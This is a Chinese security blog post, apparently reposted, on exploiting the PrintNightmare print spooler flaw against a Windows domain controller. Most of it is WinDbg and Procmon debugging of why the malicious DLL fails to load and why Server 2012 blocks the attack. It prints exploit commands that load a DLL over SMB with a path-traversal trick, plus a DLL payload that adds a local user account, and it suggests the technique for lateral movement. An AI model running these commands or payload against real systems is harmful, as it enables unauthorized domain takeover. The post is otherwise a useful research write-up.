域安全-PrintNightmare打域控漏洞的一次艰难利用

admin 2024年10月8日13:23:58评论16 views字数 2778阅读9分15秒阅读模式

一、前言

PrintNightmare这个打域控的漏洞利用中遇到很多坑,从dll加载失败,再到权限校验失败一步一步debug深入分析解决。虽然坑多,但是毕竟能够打域。

二、本地测试

通过使用管理员账号测试远程加载dll发现失败了,但是确实发现系统上dll上传了

域安全-PrintNightmare打域控漏洞的一次艰难利用
0

于是再将dll指向本地,发现了如下报错。

域安全-PrintNightmare打域控漏洞的一次艰难利用
1

三、为什么加载dll失败了

然后使用Promonitor进行监控,到底怎么报了其他程序占用dll文件,从而导致文件无法被加载的问题。

问题就出现在这个调用栈,

域安全-PrintNightmare打域控漏洞的一次艰难利用
2

于是windbg进行直接附加

通过u命令反汇编对应的字节码,寻找到上一个call,bp下断点。

0x7ffdee15092b-10 0x7ffdee15092b+10
域安全-PrintNightmare打域控漏洞的一次艰难利用
3

打断点捕获到MoveFileExW函数在移动C:WindowsSystem32spooldriversx643x643.dll,

域安全-PrintNightmare打域控漏洞的一次艰难利用
4

https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-movefileexw

然后rax返回0,表示失败了。

域安全-PrintNightmare打域控漏洞的一次艰难利用
5

通过查询资料得知,MoveFileExW移动文件的的要求:

一个文件在打开时使用了 FILE_SHARE_DELETE 标志,MoveFileExW 函数可以移动或重命名该文件,即使文件已经被另一个进程打开。

四、spoolsv.exe如何加载dll的?

通过procmonitor发现在前面确实已经对C:WindowsSystem32spooldriversx643x643.dll进行了CreateFile了,而且重复CreateFile,我们来看下是如何打开文件的?

域安全-PrintNightmare打域控漏洞的一次艰难利用
6

还是同样直接下断点打开

发现CreateFile第三个参数的值为1,也就是dwShareMode为1,是以共享读方式FILE_SHARE_READ打开,而非FILE_SHARE_WRITE模式打开。

域安全-PrintNightmare打域控漏洞的一次艰难利用
7

https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea

域安全-PrintNightmare打域控漏洞的一次艰难利用
8

后面再使用MoveFileExW就会报错了。

五、如何解决?

即然这个C:WindowsSystem32spooldriversx643x643.dll会被多次打开,使用其他位置是不是好多了,因为毕竟可以可以加载本地dll

python3 printnightmare.py -dll 'C:Windowssystem32spoolDRIVERSx64x64.dll' 'god.org/administrator:[email protected]'

于是我将文件名改成如下

python3 printnightmare.py -dll '\192.168.3.101smb../x643.dll' 'god.org/administrator:[email protected]'
域安全-PrintNightmare打域控漏洞的一次艰难利用
9
域安全-PrintNightmare打域控漏洞的一次艰难利用
10
域安全-PrintNightmare打域控漏洞的一次艰难利用
11
域安全-PrintNightmare打域控漏洞的一次艰难利用
12

成功目录穿越了,然后我们直接本地加载dll即可,这样不会重复使用

C:WindowsSystem32spooldriversx643x643.dll这个文件,能够成功加载。

域安全-PrintNightmare打域控漏洞的一次艰难利用
13

C:WindowsSystem32spooldriversx643x643.dll,两次creatfile均被打开后,然后close,最后createfile就load iamge成功了

域安全-PrintNightmare打域控漏洞的一次艰难利用
14

六、真实环境模拟又遇到坑

域安全-PrintNightmare打域控漏洞的一次艰难利用
15

还是会报告:

Error: code: 0x5 - rpc_s_access_denied

根据漏洞文章,localspl.dll SpllAddPrinterDriverEx函数的关键位置:

第7个参数和第4个参数进行运算,有机会为0,不会进入ValidateObjectAccess校验。

域安全-PrintNightmare打域控漏洞的一次艰难利用
16

win2012直接写死,也就是无法利用了,直接为第7个参数(固定为1)结果直接为true,会进行ValidateObjectAccess校验

域安全-PrintNightmare打域控漏洞的一次艰难利用
17
域安全-PrintNightmare打域控漏洞的一次艰难利用
18

windbg调试也确实如此

域安全-PrintNightmare打域控漏洞的一次艰难利用
19

确实写死

域安全-PrintNightmare打域控漏洞的一次艰难利用
20

一开始也是看公告以及博客都写着影响2012,但是我测试的却是不影响,坑了我很多时间。

https://nvd.nist.gov/vuln/detail/CVE-2021-1675

https://nvd.nist.gov/vuln/detail/CVE-2021-34527

域安全-PrintNightmare打域控漏洞的一次艰难利用
21

笔者在2019复测成功,为了避免大家复现踩坑,这里给出我复现使用的镜像。

Caption
Microsoft Windows Server 2019 Essentials


Version
10.0.17763


下载地址:
ed2k://|file|cn_windows_server_2019_essentials_x64_dvd_5b386b0b.iso|4836911104|CBA4E3F0C66107AD6B64E4DA077D004F|/

localspl.dll

域安全-PrintNightmare打域控漏洞的一次艰难利用
22

直接成功

python3 printnightmare.py -dll '\192.168.3.101smbx643.dll' 'rootkit.org/lufei:[email protected]'
// dllmain.cpp :定义 DLL 应用程序的入口点。
#include "pch.h"
#include "Windows.h"
#include <stdio.h>




BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
WinExec("net user lufei XXXXXXXXXXX. /add", SW_SHOW);
return TRUE;
}

域安全-PrintNightmare打域控漏洞的一次艰难利用
23

七、总结

实践下来,这个漏洞限制条件还是比较多的,不过还是可以试试,也可以用来作为横向移动的手法。

纸上得来终觉浅 绝知此事要躬行~

社群:加我lufeirider微信进群。

知识星球:目前聚焦红蓝对抗反入侵以及AI落地

域安全-PrintNightmare打域控漏洞的一次艰难利用

往期历史文章

三条命令查杀冰蝎、哥斯拉内存马

某中间件反序列化链曲折调试

java内存马深度利用:窃取明文、钓鱼

k8s被黑真能溯源到攻击者吗?

“VT全绿”-手动patch exe免杀

最近CDN供应链事件的曲折分析与应对-业务安全

加载数据集或模型可能就中毒!大模型供应链安全

AI与基础安全结合的新的攻击面

AI落地-蓝军之默认密码获取

BootCDN供应链攻击分析与应对

挖洞技巧-扩展攻击面

weblogic-2019-2725exp回显构造

WEB越权-劝你多删参数值

原文始发于微信公众号(lufeisec):域安全-PrintNightmare打域控漏洞的一次艰难利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月8日13:23:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   域安全-PrintNightmare打域控漏洞的一次艰难利用https://cn-sec.com/archives/3239203.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息